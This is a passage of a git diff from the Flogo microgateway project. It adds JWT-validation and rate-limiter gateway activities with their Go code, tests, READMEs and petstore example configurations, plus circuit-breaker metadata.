"html" + "io/ioutil" + "net/http" + "time" +) + +var ( + server = flag.Bool("server", false, "run the test server") + slow = flag.Bool("slow", false, "simulate a slow server") +) + +const reply = `{ + "id": 1, + "category": { + "id": 0, + "name": "string" + }, + "name": "sally", + "photoUrls": ["string"], + "tags": [{ "id": 0,"name": "string" }], + "status":"available" +}` + +func main() { + flag.Parse() + + if *server { + http.HandleFunc("/pets", func(w http.ResponseWriter, r *http.Request) { + fmt.Printf("url: %q\n", html.EscapeString(r.URL.Path)) + defer r.Body.Close() + body, err := ioutil.ReadAll(r.Body) + if err != nil { + panic(err) + } + fmt.Println(string(body)) + if *slow { + time.Sleep(10 * time.Second) + } + w.Header().Set("Content-Type", "application/json") + _, err = w.Write([]byte(reply)) + if err != nil { + panic(err) + } + }) + + err := http.ListenAndServe(":1234", nil) + if err != nil { + panic(err) + } + } +} diff --git a/activity/circuitbreaker/metadata.go b/activity/circuitbreaker/metadata.go new file mode 100644 index 0000000..d71da86 --- /dev/null +++ b/activity/circuitbreaker/metadata.go @@ -0,0 +1,50 @@ +package circuitbreaker + +import ( + "github.com/project-flogo/core/data/coerce" +) + +type Settings struct { + Mode string `md:"mode,allowed(a,b,c,d)"` + Threshold int `md:"threshold"` + Period int `md:"period"` + Timeout int `md:"timeout"` +} + +type Input struct { + Operation string `md:"operation,allowed(counter,reset)"` +} + +func (r *Input) FromMap(values map[string]interface{}) error { + operation, err := coerce.ToString(values["operation"]) + if err != nil { + return err + } + r.Operation = operation + return nil +} + +func (r *Input) ToMap() map[string]interface{} { + return map[string]interface{}{ + "operation": r.Operation, + } +} + +type Output struct { + Tripped bool `md:"tripped"` +} + +func (o *Output) FromMap(values map[string]interface{}) error { + tripped, err := coerce.ToBool(values["tripped"]) + if err != nil { + return err + } + o.Tripped = tripped + return nil +} + +func (o *Output) ToMap() map[string]interface{} { + return map[string]interface{}{ + "tripped": o.Tripped, + } +} diff --git a/activity/jwt/README.md b/activity/jwt/README.md new file mode 100644 index 0000000..1997d96 --- /dev/null +++ b/activity/jwt/README.md @@ -0,0 +1,73 @@ +# JWT + +The `jwt` service type accepts, parses, and validates JSON Web Tokens. + +The service `settings` and available `input` for the request are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| token | string | The raw token | +| key | string | The key used to sign the token | +| signingMethod | string | The signing method used (HMAC, ECDSA, RSA, RSAPSS) | +| issuer | string | The 'iss' standard claim to match against | +| subject | string | The 'sub' standard claim to match against | +| audience | string | The 'aud' standard claim to match against | + +The available response outputs are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| valid | boolean | If the token is valid or not | +| token | JSON object | The parsed token | +| validationMessage | string | The validation failure message | +| error | boolean | If an error occurred when parsing the token | +| errorMessage | string | The error message | + +The parsed token contents are: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| claims | JSON object | The set of standard and custom claims provided by the parsed token | +| signature | string | The token's signature | +| signingMethod | string | The method used to sign the token | +| header | JSON object | An object containing header key value pairs for the parsed token | + +The `exp` and `iat` standard claims are automatically validated. + +A sample `service` definition is: + +```json +{ + "name": "JWTValidator", + "description": "Validate a token", + "ref": "github.com/project-flogo/microgateway/activity/jwt", + "settings": { + "signingMethod": "HMAC", + "key": "qwertyuiopasdfghjklzxcvbnm123456", + "audience": "www.mashling.io", + "issuer": "Mashling" + } +} +``` + +An example `step` that invokes the above `JWTValidator` service using a `token` from the header in an HTTP trigger is: + +```json +{ + "service": "JWTValidator", + "input": { + "token": "=$.payload.headers.Authorization" + } +} +``` + +Utilizing and extracting the response values can be seen in a conditional evaluation: + +```json +{"if": "$.JWTValidator.outputs.valid == true"} +``` + +or to extract a value from the parsed claims you can use: +``` +=$.jwtService.outputs.token.claims. +``` diff --git a/activity/jwt/activity.go b/activity/jwt/activity.go new file mode 100644 index 0000000..f38be3e --- /dev/null +++ b/activity/jwt/activity.go @@ -0,0 +1,119 @@ +package jwt + +import ( + "fmt" + "strings" + "github.com/dgrijalva/jwt-go" + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data/metadata" +) + +var ( + activityMetadata = activity.ToMetadata(&Settings{}, &Input{}, &Output{}) +) + +func init() { + activity.Register(&Activity{}, New) +} + +func New(ctx activity.InitContext) (activity.Activity, error) { + settings := Settings{} + err := metadata.MapToStruct(ctx.Settings(), &settings, true) + if err != nil { + return nil, err + } + + logger := ctx.Logger() + logger.Debugf("Setting: %b", settings) + + act := &Activity{} + return act, nil +} + +type Activity struct {} + +// Metadata return the metadata for the activity +func (a *Activity) Metadata() *activity.Metadata { + return activityMetadata +} + +// Eval executes the activity +func (a *Activity) Eval(ctx activity.Context) (done bool, err error) { + input := Input{} + err = ctx.GetInputObject(&input) + if err != nil { + return false, err + } + input.Token = input.Token[7:] + token, err := jwt.Parse(input.Token, func(token *jwt.Token) (interface{}, error) { + // Make sure signing alg matches what we expect + switch strings.ToLower(input.SigningMethod) { + case "hmac": + if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok { + return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) + } + case "ecdsa": + if _, ok := token.Method.(*jwt.SigningMethodECDSA); !ok { + return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) + } + case "rsa": + if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok { + return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) + } + case "rsapss": + if _, ok := token.Method.(*jwt.SigningMethodRSAPSS); !ok { + return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) + } + case "": + // Just continue + default: + return nil, fmt.Errorf("Unknown signing method expected: %v", input.SigningMethod) + } + if claims, ok := token.Claims.(jwt.MapClaims); ok { + if input.Issuer != "" && !claims.VerifyIssuer(input.Issuer, true) { + return nil, jwt.NewValidationError("iss claims do not match", jwt.ValidationErrorIssuer) + } + if input.Audience != "" && !claims.VerifyAudience(input.Audience, true) { + return nil, jwt.NewValidationError("aud claims do not match", jwt.ValidationErrorAudience) + } + subClaim, sok := claims["sub"].(string) + if input.Subject != "" && (!sok || strings.Compare(input.Subject, subClaim) != 0) { + return nil, jwt.NewValidationError("sub claims do not match", jwt.ValidationErrorClaimsInvalid) + } + } else { + return nil, jwt.NewValidationError("unable to parse claims", jwt.ValidationErrorClaimsInvalid) + } + + return []byte(input.Key), nil + }) + output := Output{} + if token != nil && token.Valid { + output.Valid = true + output.Token = ParsedToken{Signature: token.Signature, SigningMethod: token.Method.Alg(), Header: token.Header} + if claims, ok := token.Claims.(jwt.MapClaims); ok { + result := make(map[string]interface{}) + for key, value := range claims { + switch key { + case "id": + result[key] = value.(string) + default: + //none + } + } + output.Token.Claims = result + } + } else if ve, ok := err.(*jwt.ValidationError); ok { + output.Valid = false + output.ValidationMessage = ve.Error() + } else { + output.Valid = false + output.Error = true + output.ValidationMessage = err.Error() + output.ErrorMessage = err.Error() + } + err = ctx.SetOutputObject(&output) + if err != nil { + return false, err + } + return true,nil +} diff --git a/activity/jwt/activity_test.go b/activity/jwt/activity_test.go new file mode 100644 index 0000000..e6bbcda --- /dev/null +++ b/activity/jwt/activity_test.go @@ -0,0 +1,126 @@ +package jwt + +import ( + "testing" + + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data" + "github.com/project-flogo/core/data/mapper" + "github.com/project-flogo/core/data/metadata" + logger "github.com/project-flogo/core/support/log" + "github.com/stretchr/testify/assert" +) + +type initContext struct { + settings map[string]interface{} +} + +func newInitContext(values map[string]interface{}) *initContext { + if values == nil { + values = make(map[string]interface{}) + } + return &initContext{ + settings: values, + } +} + +func (i *initContext) Settings() map[string]interface{} { + return i.settings +} + +func (i *initContext) MapperFactory() mapper.Factory { + return nil +} + +func (i *initContext) Logger() logger.Logger { + return logger.RootLogger() +} + +type activityContext struct { + input map[string]interface{} + output map[string]interface{} +} + +func newActivityContext(values map[string]interface{}) *activityContext { + if values == nil { + values = make(map[string]interface{}) + } + return &activityContext{ + input: values, + output: make(map[string]interface{}), + } +} + +func (a *activityContext) ActivityHost() activity.Host { + return a +} + +func (a *activityContext) Name() string { + return "test" +} + +func (a *activityContext) GetInput(name string) interface{} { + return a.input[name] +} + +func (a *activityContext) SetOutput(name string, value interface{}) error { + a.output[name] = value + return nil +} + +func (a *activityContext) GetInputObject(input data.StructValue) error { + return input.FromMap(a.input) +} + +func (a *activityContext) SetOutputObject(output data.StructValue) error { + a.output = output.ToMap() + return nil +} + +func (a *activityContext) GetSharedTempData() map[string]interface{} { + return nil +} + +func (a *activityContext) ID() string { + return "test" +} + +func (a *activityContext) IOMetadata() *metadata.IOMetadata { + return nil +} + +func (a *activityContext) Reply(replyData map[string]interface{}, err error) { + +} + +func (a *activityContext) Return(returnData map[string]interface{}, err error) { + +} + +func (a *activityContext) Scope() data.Scope { + return nil +} + +func (a *activityContext) Logger() logger.Logger { + return logger.RootLogger() +} + +func TestJWT(t *testing.T) { + activity, err := New(newInitContext(nil)) + assert.Nil(t, err) + execute := func(serviceName string, values map[string]interface{}, should error) { + _, err := activity.Eval(newActivityContext(values)) + assert.Equal(t, should, err) + } + + inputValues := map[string]interface{}{ + "signingMethod": "HMAC", + "key": "qwertyuiopasdfghjklzxcvbnm789101", + "aud": "www.mashling.io", + "iss": "Mashling", + "sub": "tempuser@mail.com", + "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJNYXNobGluZyIsImlhdCI6MTU0MDQ4NzgzNywiZXhwIjoxNTcyMDIzODM4LCJhdWQiOiJ3d3cubWFzaGxpbmcuaW8iLCJzdWIiOiJ0ZW1wdXNlckBtYWlsLmNvbSIsImlkIjoiMSJ9.-Tzfn5ZS0kM-u07qkpFrDxdyptBJIvLesuUzVXdqn48", + } + execute("reset", inputValues, nil) + +} diff --git a/activity/jwt/examples/api/README.md b/activity/jwt/examples/api/README.md new file mode 100644 index 0000000..3f9574c --- /dev/null +++ b/activity/jwt/examples/api/README.md @@ -0,0 +1,68 @@ +# Gateway with a JWT +This recipe is a gateway with a service protected by a JWT. + +## Installation +* Install [Go](https://golang.org/) + + +``` +git clone https://github.com/project-flogo/microgateway +cd microgateway/activity/jwt/examples/api +``` + +## Testing +Start the gateway: +``` +go run main.go +``` +and test below scenario. + +### Token is Valid + +Now run the following in a new terminal: +``` +curl --request GET http://localhost:9096/pets -H "Authorization: Bearer " + +You should see the following response: +```json +{ + "error":"JWT token is valid", + "pet":{ + "category":{ + "id":0, + "name":"string" + }, + "id":4, + "name":"gigigi", + "photoUrls":[ + "string" + ], + "status":"available", + "tags":[ + { + "id":0, + "name":"string" + } + ] + } +} + + +### Token Invalid +You should see the following response: +```json +{ + "error":{ + "error":false, + "errorMessage":"", + "token":{ + "claims":null, + "signature":"", + "signingMethod":"", + "header":null + }, + "valid":false, + "validationMessage":"signature is invalid" + }, + "pet":null +} diff --git a/activity/jwt/examples/api/main.go b/activity/jwt/examples/api/main.go new file mode 100644 index 0000000..86c284a --- /dev/null +++ b/activity/jwt/examples/api/main.go @@ -0,0 +1,77 @@ +package main + +import ( + "github.com/project-flogo/contrib/activity/rest" + trigger "github.com/project-flogo/contrib/trigger/rest" + "github.com/project-flogo/core/api" + "github.com/project-flogo/core/engine" + "github.com/project-flogo/microgateway" + "github.com/project-flogo/microgateway/activity/jwt" + microapi "github.com/project-flogo/microgateway/api" +) + +func main() { + app := api.NewApp() + gateway := microapi.New("JWT") + + jwtService := gateway.NewService("jwtService", &jwt.Activity{}) + jwtService.SetDescription("Validate JWT") + jwtService.AddSetting("signingMethod", "HMAC") + jwtService.AddSetting("key", "qwertyuiopasdfghjklzxcvbnm789101") + jwtService.AddSetting("aud", "www.mashling.io") + jwtService.AddSetting("iss", "Mashling") + jwtService.AddSetting("sub", "tempuser@mail.com") + + + serviceStore := gateway.NewService("PetStorePets", &rest.Activity{}) + serviceStore.SetDescription("Get pets by ID from the petstore") + serviceStore.AddSetting("uri", "https://petstore.swagger.io/v2/pet/:petId") + serviceStore.AddSetting("method", "GET") + + + step := gateway.NewStep(jwtService) + step.AddInput("token", "=$.payload.headers.Authorization") + step = gateway.NewStep(serviceStore) + step.AddInput("pathParams.petId", "=$.jwtService.outputs.token.claims.id") + + response := gateway.NewResponse(false) + response.SetIf("$.jwtService.outputs.valid == true") + response.SetCode(200) + response.SetData(map[string]interface{}{ + "error": "JWT token is valid", + "pet": "=$.PetStorePets.outputs.result", + }) + response = gateway.NewResponse(true) + response.SetIf("$.jwtService.outputs.valid == false") + response.SetCode(401) + response.SetData(map[string]interface{}{ + "error": "=$.jwtService.outputs", + "pet": "=$.PetStorePets.outputs.result", + }) + + settings, err := gateway.AddResource(app) + if err != nil { + panic(err) + } + + trg := app.NewTrigger(&trigger.Trigger{}, &trigger.Settings{Port: 9096}) + handler, err := trg.NewHandler(&trigger.HandlerSettings{ + Method: "GET", + Path: "/pets", + }) + if err != nil { + panic(err) + } + + _, err = handler.NewAction(µgateway.Action{}, settings) + if err != nil { + panic(err) + } + + e, err := api.NewEngine(app) + if err != nil { + panic(err) + } + engine.RunEngine(e) +} + diff --git a/activity/jwt/examples/json/README.md b/activity/jwt/examples/json/README.md new file mode 100644 index 0000000..12cd53d --- /dev/null +++ b/activity/jwt/examples/json/README.md @@ -0,0 +1,77 @@ +# Gateway with a JWT +This recipe is a gateway with a service protected by a JWT. + +## Installation +* Install [Go](https://golang.org/) +* Install the flogo [cli](https://github.com/project-flogo/cli) + +## Setup +``` +git clone https://github.com/project-flogo/microgateway +cd microgateway/activity/jwt/examples/json +``` +Place the Downloaded Mashling-Gateway binary in circuit-breaker-gateway folder. + +## Testing +Create the gateway: +``` +flogo create -f flogo.json +cd MyProxy +flogo build +``` + +Start the gateway: +``` +bin/MyProxy +``` +and test below scenario. + +### Token is Valid + +Now run the following in a new terminal: +``` +curl --request GET http://localhost:9096/pets -H "Authorization: Bearer " + +You should see the following response: +```json +{ + "error":"JWT token is valid", + "pet":{ + "category":{ + "id":0, + "name":"string" + }, + "id":4, + "name":"gigigi", + "photoUrls":[ + "string" + ], + "status":"available", + "tags":[ + { + "id":0, + "name":"string" + } + ] + } +} + + +### Token Invalid +You should see the following response: +```json +{ + "error":{ + "error":false, + "errorMessage":"", + "token":{ + "claims":null, + "signature":"", + "signingMethod":"", + "header":null + }, + "valid":false, + "validationMessage":"signature is invalid" + }, + "pet":null +} diff --git a/activity/jwt/examples/json/flogo.json b/activity/jwt/examples/json/flogo.json new file mode 100644 index 0000000..d9c5b59 --- /dev/null +++ b/activity/jwt/examples/json/flogo.json @@ -0,0 +1,110 @@ +{ + "name": "MyProxy", + "type": "flogo:app", + "version": "1.0.0", + "description": "This is a simple proxy.", + "properties": null, + "channels": null, + "triggers": [ + { + "name": "flogo-rest", + "id": "MyProxy", + "ref": "github.com/project-flogo/contrib/trigger/rest", + "settings": { + "port": "9096" + }, + "handlers": [ + { + "settings": { + "method": "GET", + "path": "/pets" + }, + "actions": [ + { + "id": "microgateway:jwt" + } + ] + } + ] + } + ], + "resources": [ + { + "id": "microgateway:jwt", + "compressed": false, + "data": { + "name": "Pets", + "steps": [ + { + "service": "jwtService", + "input": { + "token": "=$.payload.headers.Authorization" + } + }, + { + "service": "PetStorePets", + "input": { + "pathParams.petId": "=$.jwtService.outputs.token.claims.id" + } + } + ], + "responses": [ + { + "if": "$.jwtService.outputs.valid == false", + "error": true, + "output": { + "code": 401, + "data": { + "error": "=$.PetStorePets.outputs" + } + } + }, + { + "if": "$.jwtService.outputs.valid == true", + "error": false, + "output": { + "code": 200, + "data": { + "error": "JWT token is valid", + "pet": "=$.PetStorePets.outputs.result" + } + } + } + ], + "services": [ + { + "name": "jwtService", + "description": "Validating JWT token to access Petstore service", + "ref": "github.com/project-flogo/microgateway/activity/jwt", + "settings": { + "signingMethod": "HMAC", + "key": "qwertyuiopasdfghjklzxcvbnm789101", + "aud": "www.mashling.io", + "iss": "Mashling", + "sub": "tempuser@mail.com" + } + }, + { + "name": "PetStorePets", + "description": "Get pets by ID from the petstore", + "ref": "github.com/project-flogo/contrib/activity/rest", + "settings": { + "uri": "https://petstore.swagger.io/v2/pet/:petId", + "method": "GET" + } + } + ] + } + } + ], + "actions": [ + { + "ref": "github.com/project-flogo/microgateway", + "settings": { + "uri": "microgateway:jwt" + }, + "id": "microgateway:jwt", + "metadata": null + } + ] +} \ No newline at end of file diff --git a/activity/jwt/metadata.go b/activity/jwt/metadata.go new file mode 100644 index 0000000..b51ff86 --- /dev/null +++ b/activity/jwt/metadata.go @@ -0,0 +1,80 @@ +package jwt + +import ( + "github.com/project-flogo/core/data/coerce" +) + +type Settings struct {} + +type Input struct { + Token string `md:"token"` + Key string `md:"key"` + SigningMethod string `md:"signingMethod"` + Issuer string `md:"iss"` + Subject string `md:"sub"` + Audience string `md:"aud"` +} + +func (r *Input) FromMap(values map[string]interface{}) error { + r.Token = values["token"].(string) + r.Key = values["key"].(string) + r.SigningMethod = values["signingMethod"].(string) + r.Issuer = values["iss"].(string) + r.Subject = values["sub"].(string) + r.Audience = values["aud"].(string) + return nil +} + +func (r *Input) ToMap() map[string]interface{} { + return map[string]interface{}{ + "token": r.Token, + "key": r.Key, + "signingMethod": r.SigningMethod, + "iss": r.Issuer, + "sub": r.Subject, + "aud": r.Audience, + } +} + +type Output struct { + Valid bool `md:"valid"` + Token ParsedToken `md:"token"` + ValidationMessage string `md:"validationMessage"` + Error bool `md:"error"` + ErrorMessage string `md:"errorMessage"` +} + +// ParsedToken is a parsed JWT token. +type ParsedToken struct { + Claims map[string]interface{} `json:"claims"` + Signature string `json:"signature"` + SigningMethod string `json:"signingMethod"` + Header map[string]interface{} `json:"header"` +} + +func (o *Output) FromMap(values map[string]interface{}) error { + valid, err := coerce.ToBool(values["valid"]) + if err != nil { + return err + } + o.Valid = valid + token, err := coerce.ToAny(values["token"]) + if err != nil { + return err + } + o.Token = token.(ParsedToken) + o.ValidationMessage = values["validationMessage"].(string) + o.Error = values["error"].(bool) + o.ErrorMessage = values["errorMessage"].(string) + return nil +} + +func (o *Output) ToMap() map[string]interface{} { + return map[string]interface{}{ + "valid": o.Valid, + "token": o.Token, + "validationMessage": o.ValidationMessage, + "error": o.Error, + "errorMessage": o.ErrorMessage, + } +} \ No newline at end of file diff --git a/activity/ratelimiter/README.md b/activity/ratelimiter/README.md new file mode 100644 index 0000000..c3efd30 --- /dev/null +++ b/activity/ratelimiter/README.md @@ -0,0 +1,75 @@ +# Rate Limiter + +The `ratelimiter` service type creates a rate limiter with specified `limit`. When it is used in the `step`, it applies `limit` against supplied `token`. + +The available service `settings` are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| limit | string | Limit can be specifed in the format of "limit-period". Valid periods are 'S', 'M' & 'H' to represent Second, Minute & Hour. Example: "10-S" represents 10 request/second | + +The available `input` for the request are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| token | string | Token for which rate limit has to be applied | + +The available response `outputs` are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| limitReached | bool | If the limit exceeds | +| limitAvailable | integer | Available limit | +| error | bool | If any error occured while applying the rate limit | +| errorMessage | string | The error message | + +A sample `service` definition is: + +```json +{ + "name": "RateLimiter", + "description": "Rate limiter", + "ref": "github.com/project-flogo/microgateway/activity/ratelimiter", + "settings": { + "limit": "5-M" + } +} +``` + +An example `step` that invokes the above `ratelimiter` service to consume a `token` is: +```json +{ + "service": "RateLimiter", + "input": { + "token": "=$.payload.headers.Token" + } +} +``` +Note: When `token` is not supplied or empty, service sets `error` to true. This can be handled by configuring `token` to some constant value, In this way service can be operated as global rate limiter. An example shown below: + +```json +{ + "service": "RateLimiter", + "input": { + "token": "MY_GLOBAL_TOKEN" + } +} +``` + +Utilizing and extracting the response values can be seen in both a conditional evaluation: +```json +{"if": "$.RateLimiter.outputs.limitReached == true"} +``` +and a response handler: +```json +{ + "if": "$.RateLimiter.outputs.limitReached == true", + "error": true, + "output": { + "code": 403, + "data": { + "status":"Rate Limit Exceeded - The service you have requested is over the allowed limit." + } + } +} +``` diff --git a/activity/ratelimiter/activity.go b/activity/ratelimiter/activity.go new file mode 100644 index 0000000..4e77b46 --- /dev/null +++ b/activity/ratelimiter/activity.go @@ -0,0 +1,107 @@ +package ratelimiter + +import ( + "context" + + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data/metadata" + "github.com/ulule/limiter" + "github.com/ulule/limiter/drivers/store/memory" +) + +var ( + activityMetadata = activity.ToMetadata(&Settings{}, &Input{}, &Output{}) +) + +func init() { + activity.Register(&Activity{}, New) +} + +// Activity is a rate limiter service +// Limit can be specified in the format "-" +// +// Valid periods: +// * "S": second +// * "M": minute +// * "H": hour +// +// Examples: +// * 5 requests / second : "5-S" +// * 5 requests / minute : "5-M" +// * 5 requests / hour : "5-H" +type Activity struct { + limiter *limiter.Limiter +} + +func New(ctx activity.InitContext) (activity.Activity, error) { + settings := Settings{} + err := metadata.MapToStruct(ctx.Settings(), &settings, true) + if err != nil { + return nil, err + } + + logger := ctx.Logger() + logger.Debugf("Setting: %b", settings) + + rate, err := limiter.NewRateFromFormatted(settings.Limit) + if err != nil { + panic(err) + } + store := memory.NewStore() + limiter := limiter.New(store, rate) + + act := Activity{ + limiter: limiter, + } + + return &act, nil +} + +// Metadata return the metadata for the activity +func (a *Activity) Metadata() *activity.Metadata { + return activityMetadata +} + +// Eval executes the activity +func (a *Activity) Eval(ctx activity.Context) (done bool, err error) { + input := Input{} + err = ctx.GetInputObject(&input) + if err != nil { + return false, err + } + + output := Output{} + + // check for request token + if input.Token == "" { + output.Error = true + output.ErrorMessage = "Token not found" + + err = ctx.SetOutputObject(&output) + if err != nil { + return false, err + } + return true, nil + } + + // consume limit + limiterContext, err := a.limiter.Get(context.TODO(), input.Token) + if err != nil { + return true, nil + } + + // check the ratelimit + output.LimitAvailable = limiterContext.Remaining + if limiterContext.Reached { + output.LimitReached = true + } else { + output.LimitReached = false + } + + err = ctx.SetOutputObject(&output) + if err != nil { + return false, err + } + + return true, nil +} diff --git a/activity/ratelimiter/activity_test.go b/activity/ratelimiter/activity_test.go new file mode 100644 index 0000000..e42e3a2 --- /dev/null +++ b/activity/ratelimiter/activity_test.go @@ -0,0 +1,144 @@ +package ratelimiter + +import ( + "testing" + "time" + + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data" + "github.com/project-flogo/core/data/mapper" + "github.com/project-flogo/core/data/metadata" + logger "github.com/project-flogo/core/support/log" + "github.com/stretchr/testify/assert" +) + +type initContext struct { + settings map[string]interface{} +} + +func newInitContext(values map[string]interface{}) *initContext { + if values == nil { + values = make(map[string]interface{}) + } + return &initContext{ + settings: values, + } +} + +func (i *initContext) Settings() map[string]interface{} { + return i.settings +} + +func (i *initContext) MapperFactory() mapper.Factory { + return nil +} + +func (i *initContext) Logger() logger.Logger { + return logger.RootLogger() +} + +type activityContext struct { + input map[string]interface{} + output map[string]interface{} +} + +func newActivityContext(values map[string]interface{}) *activityContext { + if values == nil { + values = make(map[string]interface{}) + } + return &activityContext{ + input: values, + output: make(map[string]interface{}), + } +} + +func (a *activityContext) ActivityHost() activity.Host { + return a +} + +func (a *activityContext) Name() string { + return "test" +} + +func (a *activityContext) GetInput(name string) interface{} { + return a.input[name] +} + +func (a *activityContext) SetOutput(name string, value interface{}) error { + a.output[name] = value + return nil +} + +func (a *activityContext) GetInputObject(input data.StructValue) error { + return input.FromMap(a.input) +} + +func (a *activityContext) SetOutputObject(output data.StructValue) error { + a.output = output.ToMap() + return nil +} + +func (a *activityContext) GetSharedTempData() map[string]interface{} { + return nil +} + +func (a *activityContext) ID() string { + return "test" +} + +func (a *activityContext) IOMetadata() *metadata.IOMetadata { + return nil +} + +func (a *activityContext) Reply(replyData map[string]interface{}, err error) { + +} + +func (a *activityContext) Return(returnData map[string]interface{}, err error) { + +} + +func (a *activityContext) Scope() data.Scope { + return nil +} + +func (a *activityContext) Logger() logger.Logger { + return logger.RootLogger() +} + +func TestRatelimiter(t *testing.T) { + activity, err := New(newInitContext(map[string]interface{}{ + "limit": "1-S", + })) + assert.Nil(t, err) + + ctx := newActivityContext(map[string]interface{}{ + "token": "abc123", + }) + _, err = activity.Eval(ctx) + assert.Nil(t, err) + assert.False(t, ctx.output["limitReached"].(bool), "limit should not be reached") + + ctx = newActivityContext(map[string]interface{}{ + "token": "abc123", + }) + _, err = activity.Eval(ctx) + assert.Nil(t, err) + assert.True(t, ctx.output["limitReached"].(bool), "limit should be reached") + + ctx = newActivityContext(map[string]interface{}{ + "token": "sally", + }) + _, err = activity.Eval(ctx) + assert.Nil(t, err) + assert.False(t, ctx.output["limitReached"].(bool), "limit should not be reached") + + time.Sleep(time.Second) + + ctx = newActivityContext(map[string]interface{}{ + "token": "abc123", + }) + _, err = activity.Eval(ctx) + assert.Nil(t, err) + assert.False(t, ctx.output["limitReached"].(bool), "limit should not be reached") +} diff --git a/activity/ratelimiter/examples/api/README.md b/activity/ratelimiter/examples/api/README.md new file mode 100644 index 0000000..7174ac2 --- /dev/null +++ b/activity/ratelimiter/examples/api/README.md @@ -0,0 +1,89 @@ +# Gateway with basic Rate Limiter +This recipe is a gateway which applies rate limit on specified dispatches. + +## Installation +* Install [Go](https://golang.org/) + +## Setup +``` +git clone https://github.com/project-flogo/microgateway +cd microgateway/activity/ratelimiter/examples/api +``` + +## Testing + +Start the gateway: +``` +go run main.go +``` + +### #1 Simple rate limiter to http service + +Run the following command: +``` +curl http://localhost:9096/pets/1 -H "Token:TOKEN1" +``` + +You should see the following like response: +```json +{ + "category": { + "id": 0, + "name": "string" + }, + "id": 1, + "name": "cat", + "photoUrls": [ + "string" + ], + "status": "available", + "tags": [ + { + "id": 0, + "name": "string" + } + ] +} +``` + +Run the same curl command more than 3 times in a minute, 4th time onwards you should see the following response indicating that gateway not allowing further calls. + +```json +{ + "status": "Rate Limit Exceeded - The service you have requested is over the allowed limit." +} +``` + +You can run above `curl` command with different token to make sure that rate limit is applied per token basis. It is assumed that in real scenario only intended user possess the token. + +### #2 Missing token + +Run the following command: +```bash +curl http://localhost:9096/pets/1 +``` + +You should see the following like response: +```json +{ + "status": "Token not found" +} +``` + +### #3 Global rate limiter +You can set global rate limit to a service (i.e. applies accross users) by using some hard coded token value. To do that modify rate limiter `step` in the gateway descriptor `main.go` as follows: +``` +step.AddInput("token", "MY_GLOBAL_TOKEN") +``` + +Re run the gateway: +``` +go run main.go +``` + +Run the following command more than 3 times: +``` +curl http://localhost:9096/pets/1 +``` + +From 4th time onwards you should observe that gateway is not allowing further calls. diff --git a/activity/ratelimiter/examples/api/main.go b/activity/ratelimiter/examples/api/main.go new file mode 100644 index 0000000..f82bb6c --- /dev/null +++ b/activity/ratelimiter/examples/api/main.go @@ -0,0 +1,72 @@ +package main + +import ( + "github.com/project-flogo/contrib/activity/rest" + trigger "github.com/project-flogo/contrib/trigger/rest" + "github.com/project-flogo/core/api" + "github.com/project-flogo/core/engine" + "github.com/project-flogo/microgateway" + "github.com/project-flogo/microgateway/activity/ratelimiter" + microapi "github.com/project-flogo/microgateway/api" +) + +func main() { + app := api.NewApp() + + gateway := microapi.New("Pets") + + serviceLimiter := gateway.NewService("RateLimiter", &ratelimiter.Activity{}) + serviceLimiter.SetDescription("Rate limiter") + serviceLimiter.AddSetting("limit", "3-M") + + serviceStore := gateway.NewService("PetStorePets", &rest.Activity{}) + serviceStore.SetDescription("Get pets by ID from the petstore") + serviceStore.AddSetting("uri", "http://petstore.swagger.io/v2/pet/:petId") + serviceStore.AddSetting("method", "GET") + + step := gateway.NewStep(serviceLimiter) + step.AddInput("token", "=$.payload.headers.Token") + step = gateway.NewStep(serviceStore) + step.AddInput("pathParams", "=$.payload.pathParams") + + response := gateway.NewResponse(true) + response.SetIf("$.RateLimiter.outputs.error == true") + response.SetCode(403) + response.SetData(map[string]interface{}{ + "status": "=$.RateLimiter.outputs.errorMessage", + }) + response = gateway.NewResponse(true) + response.SetIf("$.RateLimiter.outputs.limitReached == true") + response.SetCode(403) + response.SetData(map[string]interface{}{ + "status": "Rate Limit Exceeded - The service you have requested is over the allowed limit.", + }) + response = gateway.NewResponse(false) + response.SetCode(200) + response.SetData("=$.PetStorePets.outputs.result") + + settings, err := gateway.AddResource(app) + if err != nil { + panic(err) + } + + trg := app.NewTrigger(&trigger.Trigger{}, &trigger.Settings{Port: 9096}) + handler, err := trg.NewHandler(&trigger.HandlerSettings{ + Method: "GET", + Path: "/pets/:petId", + }) + if err != nil { + panic(err) + } + + _, err = handler.NewAction(µgateway.Action{}, settings) + if err != nil { + panic(err) + } + + e, err := api.NewEngine(app) + if err != nil { + panic(err) + } + engine.RunEngine(e) +} diff --git a/activity/ratelimiter/examples/json/README.md b/activity/ratelimiter/examples/json/README.md new file mode 100644 index 0000000..a34e2fc --- /dev/null +++ b/activity/ratelimiter/examples/json/README.md @@ -0,0 +1,101 @@ +# Gateway with basic Rate Limiter +This recipe is a gateway which applies rate limit on specified dispatches. + +## Installation +* Install [Go](https://golang.org/) +* Install the flogo [cli](https://github.com/project-flogo/cli) + +## Setup +``` +git clone https://github.com/project-flogo/microgateway +cd microgateway/activity/ratelimiter/examples/json +``` + +## Testing +Create the gateway: +``` +flogo create -f flogo.json +cd MyProxy +flogo build +``` + +Start the gateway: +``` +bin/MyProxy +``` + +### #1 Simple rate limiter to http service + +Run the following command: +``` +curl http://localhost:9096/pets/1 -H "Token:TOKEN1" +``` + +You should see the following like response: +```json +{ + "category": { + "id": 0, + "name": "string" + }, + "id": 1, + "name": "cat", + "photoUrls": [ + "string" + ], + "status": "available", + "tags": [ + { + "id": 0, + "name": "string" + } + ] +} +``` + +Run the same curl command more than 3 times in a minute, 4th time onwards you should see the following response indicating that gateway not 